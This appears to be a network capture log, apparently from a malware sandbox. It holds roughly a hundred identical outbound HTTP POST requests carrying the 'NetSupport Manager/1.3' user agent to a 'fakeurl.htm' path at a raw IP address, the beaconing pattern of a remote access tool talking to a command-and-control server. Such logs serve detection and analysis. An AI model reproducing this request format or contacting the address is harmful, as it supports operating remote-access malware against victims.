Dec 6, 2024 10:41:07.552717924 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:07.653611898 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:07.754803896 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:08.064904928 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:08.165481091 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:08.265659094 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:08.365679026 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:08.465744019 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:08.566637039 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:08.669492006 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:08.767693043 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:08.868640900 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:08.969631910 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:09.069660902 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:09.170664072 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:09.271656036 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:09.372764111 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:09.472701073 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:09.575515985 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:09.676647902 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:09.776664019 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:09.877644062 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:09.978668928 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:10.078634024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:10.179668903 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:10.279642105 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:10.385505915 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:10.481654882 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:10.608735085 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:10.715543985 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:11.022624969 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:11.122697115 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:11.223644018 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:11.323692083 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:11.424658060 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:11.525631905 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:11.625858068 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:11.726747990 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:11.827665091 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:11.927727938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:12.028762102 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:12.129646063 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:12.229656935 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:12.329725981 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:12.430639982 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:12.530679941 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:12.630666971 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:12.733510971 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:12.832659960 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:12.932703972 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:13.033683062 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:13.134696007 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:13.235635996 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:13.335673094 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:13.435683012 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:13.536639929 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:13.636734962 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:13.737664938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:13.838710070 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:13.939759016 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:14.039697886 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:14.143518925 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:14.243947029 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:14.341674089 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:14.441715002 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:14.544485092 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:14.642666101 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:14.743731976 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:14.844666004 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:14.945527077 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:15.046387911 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:15.145734072 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:15.245726109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:15.770760059 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:15.870816946 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:15.970787048 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:16.075644970 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:16.171797037 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:16.273623943 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:16.375675917 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:16.473659039 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:16.575632095 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:16.675626993 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:16.775716066 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:16.875684023 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:16.978545904 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:17.079830885 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:17.180699110 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:17.281676054 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:17.382723093 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:17.483728886 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:17.584676027 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:17.685702085 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
